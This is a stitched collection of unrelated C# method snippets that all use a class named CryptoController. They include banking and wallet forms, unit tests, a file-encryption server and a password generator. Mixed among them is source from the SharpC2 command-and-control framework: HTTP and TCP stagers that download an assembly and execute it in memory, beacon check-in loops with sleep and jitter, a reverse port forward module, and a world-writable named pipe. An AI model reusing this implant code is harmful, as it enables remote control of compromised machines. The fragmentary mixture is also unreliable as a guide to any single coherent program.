private void SendData(Socket handler, List <AgentMessage> messages) { var encrypted = CryptoController.Encrypt(messages); var response = new StringBuilder("HTTP/1.1 200 OK\r\n"); response.Append(string.Format("X-Malware: SharpC2\r\n")); response.Append(string.Format("Content-Length: {0}\r\n", encrypted.Length)); response.Append(string.Format("Date: {0}\r\n", DateTime.UtcNow.ToString("ddd, d MMM yyyy HH:mm:ss UTC"))); response.Append("\r\n"); var headers = Encoding.UTF8.GetBytes(response.ToString()); var dataToSend = new byte[encrypted.Length + headers.Length]; Buffer.BlockCopy(headers, 0, dataToSend, 0, headers.Length); Buffer.BlockCopy(encrypted, 0, dataToSend, headers.Length, encrypted.Length); try { handler.BeginSend(dataToSend, 0, dataToSend.Length, 0, new AsyncCallback(SendCallback), handler); } catch { // socket may be forcibly closed if agent dies } }
private void Schedules_Load(object sender, EventArgs e) { BeneficairyList = BeneficiaryController.GetBeneficiarys(user.RsaID); PaymentListF = PaymentsController.GetPayments(user.RsaID); foreach (Payment item in PaymentListF) { //DateTime payDate = DateTime.ParseExact(item.PayDate, "dd/MM/yyyy", System.Globalization.CultureInfo.InvariantCulture); //if (payDate > DateTime.Now || item.Recurring == true) //{ PaymentList.Add(item); //} } if (CryptoController.GetUserCrypto(user.RsaID) != null) { userCrypto = CryptoController.GetUserCrypto(user.RsaID); } else { userCrypto = new Crypto("", "", 0, "", user.RsaID); } UserPaymentAccountList = PaymentsAccountController.SearchUserPaymentAcount(user.RsaID); UserCardList = CardController.RetrveCards(user.RsaID); FillPaymentsDatagrid(PaymentList); BeneficairyList = BeneficiaryController.GetBeneficiarys(user.RsaID); FillBeneficiaryDatagrid(BeneficairyList); popUcb(); }
private void Profile_Load(object sender, EventArgs e) { //populate mar dei random fields van btc if (CryptoController.GetUserCrypto(user.RsaID) != null) { UserCrypto = CryptoController.GetUserCrypto(user.RsaID); } else { UserCrypto = new Crypto("", "", 0, "", user.RsaID); } UserCardList = CardController.RetrveCards(user.RsaID); UserEFTList = PaymentsAccountController.SearchUserPaymentAcount(user.RsaID); //sf txtWalletName.Text = UserCrypto.WaletName; txtWalletCode.Text = UserCrypto.Waletaddress; txtWalletAmount.Text = UserCrypto.Amount.ToString(); //fill datagrids FillUserEFTDatagrid(UserEFTList); FillUserCardDatagrid(UserCardList); popID(); }
private void dgvBeneficiary_RowEnter(object sender, DataGridViewCellEventArgs e) { int index = e.RowIndex; if (BeneficiaryListS.Count == 0) { beneficiary = BeneficairyList[index]; } else { beneficiary = BeneficiaryListS[index]; BeneficiaryListS.Clear(); } txtBname.Text = beneficiary.BeneficairyName; BenPaymentAccountList = PaymentsAccountController.SearchBenPaymentAcount(beneficiary.BeneficairyID); BeneficairyCrypoList = CryptoController.GetCrypto(beneficiary.BeneficairyID); BenbjectListe = PopSelectedBenAcount(BenPaymentAccountList, BeneficairyCrypoList); List <string> remove = new List <string>(); cbBAcounType.Items.Clear(); foreach (string item in BenbjectListe) { cbBAcounType.Items.Add(item); } BenbjectListe.Clear(); }
public CryptoControllerUnitTest() { cancellationTokenSource = new CancellationTokenSource(); cryptoServiceMock = new Mock <ICryptoService>(); mockLogger = new Mock <ILogger <CryptoController> >(); cryptoController = new CryptoController(cryptoServiceMock.Object, mockLogger.Object); }
private void BtnDeletCrypto_Click(object sender, EventArgs e) { CryptoController.DeleteCrypto(crypto.BeneficiaryId); BenCryptoList.Remove(crypto); BenCryptoListS.Remove(crypto); FillCryptoDatagrid(BenCryptoList); }
private void btnUpdateCrypto_Click(object sender, EventArgs e) { bool go = false; Crypto crypto = new Crypto(); foreach (Crypto item in BenCryptoList) { if (txtWalletCode.Text == item.Waletaddress) { BenCryptoList.Remove(item); BenCryptoList.Add(new Crypto(txtWaletName.Text.Trim(), txtWaletName.Text.Trim(), 0, ben.BeneficairyID, "")); CryptoController.UpateCrypto(crypto); FillCryptoDatagrid(BenCryptoList); txtWaletName.Text = ""; txtWalletCode.Text = ""; go = true; break; } } if (go != true) { MetroMessageBox.Show(this, "The Account You're Trying to Update Does Not Exist!", "Account Does Not Exist"); } }
public void Init(ConfigController config, CryptoController crypto) { ModuleStatus = ModuleStatus.Starting; Config = config; Crypto = crypto; }
private void btnAddCrypto_Click(object sender, EventArgs e) { bool go = false; foreach (Crypto item in BenCryptoList) { if (txtWalletCode.Text.Trim() == item.Waletaddress) { go = true; break; } } if (go == false) { Crypto crypto = new Crypto(txtWaletName.Text.Trim(), txtWalletCode.Text.Trim(), 0, ben.BeneficairyID, ""); BenCryptoList.Add(crypto); CryptoController.AddCrypto(crypto); FillCryptoDatagrid(BenCryptoList); txtWaletName.Text = ""; txtWalletCode.Text = ""; } else { MetroMessageBox.Show(this, "Account Already Exists!", "Account Exists"); } }
private void Payments_Load(object sender, EventArgs e) { if (CryptoController.GetUserCrypto(user.RsaID) == null) { userCrypto = new Crypto("", "", 0, "", user.RsaID); } else { userCrypto = CryptoController.GetUserCrypto(user.RsaID); } history = HistoryController.getHistory(user.RsaID); scheduals = PaymentsController.GetPayments(user.RsaID); foreach (Payment item in history) { ALLPAY.Add(item); } foreach (Payment item in scheduals) { ALLPAY.Add(item); } BeneficairyList = BeneficiaryController.GetBeneficiarys(user.RsaID); UserPaymentAccountList = PaymentsAccountController.SearchUserPaymentAcount(user.RsaID); UserCardList = CardController.RetrveCards(user.RsaID); FillBeneficiaryDatagrid(BeneficairyList); popUcb(); }
public static void Execute() { var config = new ConfigController(); //config.SetOption(ConfigSetting.ConnectHosts, "127.0.0.1"); //config.SetOption(ConfigSetting.ConnectPort, "8080"); //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00")); //config.SetOption(ConfigSetting.SleepInterval, 1); //config.SetOption(ConfigSetting.SleepJitter, 0); config.SetOption(ConfigSetting.ConnectHosts, "<<ConnectHost>>"); config.SetOption(ConfigSetting.ConnectPort, "<<ConnectPort>>"); config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>")); config.SetOption(ConfigSetting.SleepInterval, "<<SleepInterval>>"); config.SetOption(ConfigSetting.SleepJitter, "<<SleepJitter>>"); var crypto = new CryptoController(); var commModule = new HttpCommModule(); commModule.Init(config, crypto); var agent = new AgentController(config, crypto, commModule); agent.Init(); agent.RegisterAgentModule(new CoreAgentModule()); agent.RegisterAgentModule(new ReversePortForwardModule()); agent.Start(); }
private void SetNewRsaKeys(Message message) { var fileKey = message.StringMessage; var privateFilePath = CreatePrivateKeyFileName(); var publicFilePath = CreatePublicKeyFileName(); SHA1 hash = SHA1.Create(); CryptoController crypto = new CryptoController(); try { crypto.CreateAndSaveRsaParameters(publicFilePath, privateFilePath, fileKey); } catch (Exception ex) { SendResult(false, ex.Message); return; } var keyHash = ByteToStringConverter(hash.ComputeHash(StringToByteConverter(fileKey))); if (_dbController.GetPublicKeyPath(_userId) == null) { _dbController.AddRsaKey(_userId, privateFilePath, publicFilePath, keyHash); } else { _dbController.UpdateRsaKey(_userId, privateFilePath, publicFilePath, keyHash); } SendResult(true); }
/// <summary> /// add a new user to DB /// </summary> /// <param name="enterUserId"></param> /// <param name="userName"></param> /// <param name="password"></param> /// <param name="firstName"></param> /// <param name="lastName"></param> /// <param name="roleId"></param> /// <param name="contactId"></param> /// <returns></returns> public static async Task <SignUpStatus> AddUser(int?enterUserId, string userName, string password, string firstName, string lastName, int?roleId, int?contactId) { using (var context = GetDBContext()) { var user = GetUserByUsername(userName); if (user != null) { return(SignUpStatus.UserExist); } SMA_Lookup_User entityUser = new SMA_Lookup_User(); entityUser.LoginName = userName; entityUser.Sel = CryptoController.CreateSalt(12); entityUser.PasswordHash = CryptoController.GenerateSaltedHash(password, entityUser.Sel); entityUser.FirstName = firstName; entityUser.LastName = lastName; entityUser.EnterDate = DateTime.Now; entityUser.IsActive = true; entityUser.EnterUserId = enterUserId; entityUser.RoleId = roleId; entityUser.ContactId = contactId; context.SMA_Lookup_User.Add(entityUser); var result = await context.SaveChangesAsync(); if (result > 0) { return(SignUpStatus.Success); } return(SignUpStatus.Failure); } }
private void btnAddWallet_Click(object sender, EventArgs e) { string Waletname = txtWalletName.Text.Trim(); Crypto newcryp = new Crypto(txtWalletName.Text, txtWalletCode.Text, float.Parse(txtWalletAmount.Text), "", user.RsaID); CryptoController.AddCrypto(newcryp); }
public void Init(ConfigController config, CryptoController crypto) { ModuleStatus = ModuleStatus.Starting; Config = config; Crypto = crypto; Listener = new TcpListener(IPAddress.Parse((string)Config.GetOption(ConfigSetting.BindAddress)), (int)Config.GetOption(ConfigSetting.BindPort)); }
public CryptoControllerTest(ContextFixture contextFixture) { var cryptoRepository = new CryptoRepository(contextFixture.ApiContext); var cryptoService = new CryptoService(cryptoRepository); var coinMarketCapApiService = new CoinMarketCapApiService(cryptoRepository, contextFixture.Configuration); _cryptoController = new CryptoController(cryptoService, coinMarketCapApiService); }
public AgentController(ConfigController config, CryptoController crypto, ICommModule commModule) { AgentStatus = AgentStatus.Starting; Config = config; Crypto = crypto; CommModule = commModule; }
public void Init(AgentController agentController, CryptoController cryptoController) { ModuleStatus = ModuleStatus.Starting; AgentController = agentController; CryptoController = cryptoController; Socket = new Socket(SocketType.Stream, ProtocolType.IP); OnAgentEvent += AgentController.AgentEventHandler; }
private void ReciveNewFile(Message message) { var fields = message.StringMessage.Split('$'); if (fields.Length < 3) { SendResult(false, "Параметры неверны"); } var transferId = fields[0]; var rsaParamKey = fields[1]; var newFileKey = fields[2]; var transferParams = _dbController.GetTransferParams(transferId); if (transferParams == null) { SendResult(false, "Файл не найден"); return; } SHA1 hash = SHA1.Create(); var rsaParamsKeyHash = ByteToStringConverter(hash.ComputeHash(StringToByteConverter(rsaParamKey))); var rsaFilePath = _dbController.GetPrivateKeyPath(_userId, rsaParamsKeyHash); if (rsaFilePath == null) { SendResult(false, "Неверный ключ обмена"); return; } CryptoController crypto = new CryptoController(); var oldFileKeyBytes = crypto.DecryptDataWithRsaFile(rsaFilePath, rsaParamKey, StringToByteConverter(transferParams[2])); if (oldFileKeyBytes == null) { SendResult(false, "Ошибка извлечения ключа файла"); return; } var oldFileKey = ByteToStringConverter(oldFileKeyBytes); crypto.ChangeEncryptKey(transferParams[0], oldFileKey, newFileKey); string fileHash; string fileLength; using (FileStream fs = new FileStream(transferParams[0], FileMode.Open)) { fileHash = ByteToStringConverter(hash.ComputeHash(fs)); fileLength = fs.Length.ToString(); } var newFileHash = ByteToStringConverter(hash.ComputeHash(StringToByteConverter(newFileKey))); _dbController.SaveNewPrivateFile(transferParams[1], transferParams[0], fileLength, fileHash, true, newFileHash); _dbController.UpdateTransferStatus(transferId); SendResult(true); }
public CryptoControllerTests() { _mockCryptoLogic = new Mock <ICryptoLogic>(); _mockAppSettings = new Mock <IOptions <AppSettings> >(); _mockAppSettings.SetupGet(x => x.Value).Returns(new AppSettings { ApiKey = It.IsAny <string>(), CryptoBaseUrl = It.IsAny <string>(), Secret = It.IsAny <string>(), }); _target = new CryptoController(_mockCryptoLogic.Object, _mockAppSettings.Object); }
public static void Execute() { AgentID = Misc.GeneratePseudoRandomString(8); var crypto = new CryptoController(); try { var commModule = new TcpCommModule(BindAddress, BindPort); commModule.SetMetadata(AgentID); commModule.Start(crypto); while (StagerStatus == StagerStatus.Staging) { if (commModule.RecvData(out AgentMessage message) == true) { if (message.Data != null && message.Data.Command.Equals("IncomingLink", StringComparison.OrdinalIgnoreCase)) { commModule.SetParentID(Encoding.UTF8.GetString(message.Data.Data)); commModule.QueueStageRequest(); } else if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase)) { StagerStatus = StagerStatus.Staged; commModule.Stop(); var asm = Assembly.Load(message.Data.Data); var type = asm.GetType("AgentStage"); var instance = Activator.CreateInstance(type); var parentID = commModule.GetParentID(); type.InvokeMember( "TcpEntryPoint", BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, instance, new object[] { AgentID, parentID, KillDate, BindAddress, BindPort }); } } } } catch (Exception e) { Console.Error.WriteLine(e.StackTrace); } }
public override void Start(CryptoController crypto) { base.Start(crypto); Task.Factory.StartNew(delegate() { while (ModuleStatus == ModuleStatus.Running) { var interval = SleepInterval * 1000; var jitter = SleepJitter; CheckIn(); Thread.Sleep(interval); } }); }
public void CreateFinalProduct() { CryptoController crypto = new CryptoController(); try { if (SpecialCharacterSet == "specific") { string sCharPool = SpecialCharacters.Replace(" ", String.Empty); if (GenerationType == "random") { FinalProduct = crypto.generateRandom(AnsweredQuestion1, AnsweredQuestion2, sCharPool, SelectedLength); } else if (GenerationType == "familiar") { string mixedBag = crypto.familiarCharMix(SpecialCharacterSet, sCharPool); FinalProduct = crypto.generateFamiliar(AnsweredQuestion1, AnsweredQuestion2, mixedBag, SelectedLength); } } else if (SpecialCharacterSet == "default") { string answer1 = AnsweredQuestion1; string answer2 = AnsweredQuestion2; string sCharPool = "!@#$%^&*()_+-=,./"; int length = SelectedLength; if (GenerationType == "random") { FinalProduct = crypto.generateRandom(AnsweredQuestion1, AnsweredQuestion2, sCharPool, SelectedLength); } else if (GenerationType == "familiar") { string mixedBag = crypto.familiarCharMix(SpecialCharacterSet, sCharPool); FinalProduct = crypto.generateFamiliar(AnsweredQuestion1, AnsweredQuestion2, mixedBag, SelectedLength); } } } catch (Exception ex) { ex.ToString(); } }
public override void Start(CryptoController crypto) { base.Start(crypto); Listener.Start(); Task.Factory.StartNew(delegate() { while (ModuleStatus == ModuleStatus.Running) { Status.Reset(); Listener.BeginAcceptTcpClient(new AsyncCallback(AcceptCallback), Listener); Status.WaitOne(); Thread.Sleep(1000); } }); }
private void dgvBeneficiary_RowEnter(object sender, DataGridViewCellEventArgs e) { int index = e.RowIndex; ben = BeneficiaryList[index]; txtBBranchCode.Text = ben.BeneficiaryBranch; txtBID.Text = ben.BeneficairyID; txtBName.Text = ben.BeneficairyName; BenCryptoList = CryptoController.GetCrypto(ben.BeneficairyID); BenEFTList = PaymentsAccountController.SearchBenPaymentAcount(ben.BeneficairyID); FillCryptoDatagrid(BenCryptoList); FillEFTDatagrid(BenEFTList); btnUpdateBPI.Visible = true; btnDeleteB.Visible = false; }
public static void Execute() { AgentID = Misc.GeneratePseudoRandomString(8); var crypto = new CryptoController(); try { var commModule = new HttpCommModule(ConnectHost, ConnectPort, SleepInterval, SleepJitter); commModule.SetMetadata(AgentID); commModule.Start(crypto); commModule.SendStageRequest(); while (StagerStatus == StagerStatus.Staging) { if (commModule.RecvData(out AgentMessage message)) { if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase)) { StagerStatus = StagerStatus.Staged; commModule.Stop(); var asm = Assembly.Load(message.Data.Data); var type = asm.GetType("AgentStage"); var instance = Activator.CreateInstance(type); type.InvokeMember( "HttpEntryPoint", BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, instance, new object[] { AgentID, KillDate, ConnectHost, ConnectPort, SleepInterval, SleepJitter }); } } } } catch (Exception e) { Console.Error.WriteLine(e.StackTrace); } }
private List <AgentMessage> ExtractAgentMessage(string webRequest) { List <AgentMessage> message = null; var regex = Regex.Match(webRequest, "Message=([^\\s]+)"); if (regex.Captures.Count > 0) { var encrypted = Convert.FromBase64String(regex.Groups[1].Value); if (CryptoController.VerifyHMAC(encrypted)) { message = CryptoController.Decrypt <List <AgentMessage> >(encrypted); } else { OnAgentEvent?.Invoke(this, new AgentEvent("", AgentEventType.CryptoError, "HMAC validation failed on AgentMessage")); } } return(message); }
private AgentMetadata ExtractAgentMetadata(string webRequest) { AgentMetadata metadata = null; var regex = Regex.Match(webRequest, "Cookie: Metadata=([^\\s].*)"); if (regex.Captures.Count > 0) { var encrypted = Convert.FromBase64String(regex.Groups[1].Value); if (CryptoController.VerifyHMAC(encrypted)) { metadata = CryptoController.Decrypt <AgentMetadata>(encrypted); } else { OnAgentEvent?.Invoke(this, new AgentEvent("", AgentEventType.CryptoError, "HMAC validation failed on AgentMetadata")); } } return(metadata); }
public override void Start(CryptoController crypto) { base.Start(crypto); var ps = new PipeSecurity(); ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow)); Task.Factory.StartNew(delegate() { while (ModuleStatus == ModuleStatus.Running) { Status.Reset(); var pipe = new NamedPipeServerStream(Pipename, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 1024, 1024, ps); pipe.BeginWaitForConnection(new AsyncCallback(ConnectCallback), pipe); Status.WaitOne(); Thread.Sleep(1000); } }); }
/// <summary> /// Смена ключа шифрования файла /// Или его установка, если файл еще не зашифрован /// </summary> /// <param name="message"></param> private void ChangeFileKey(Message message) { var fields = message.StringMessage.Split('$'); if (fields.Length < 3) { SendResult(false, "Неверные параметры"); } SHA1 hash = SHA1.Create(); var fileKey = ByteToStringConverter(hash.ComputeHash(StringToByteConverter(fields[1]))); CryptoController crypto = new CryptoController(); var filePath = _dbController.GetPrivateFilePath(fields.First(), fileKey); if (filePath == null) { SendResult(false, "Неверный ключ"); return; } crypto.ChangeEncryptKey(filePath, fields[1], fields[2]); fileKey = ByteToStringConverter(hash.ComputeHash(StringToByteConverter(fields[2]))); _dbController.UpdateFileKey(fields[0], fileKey); SendResult(true, String.Empty); }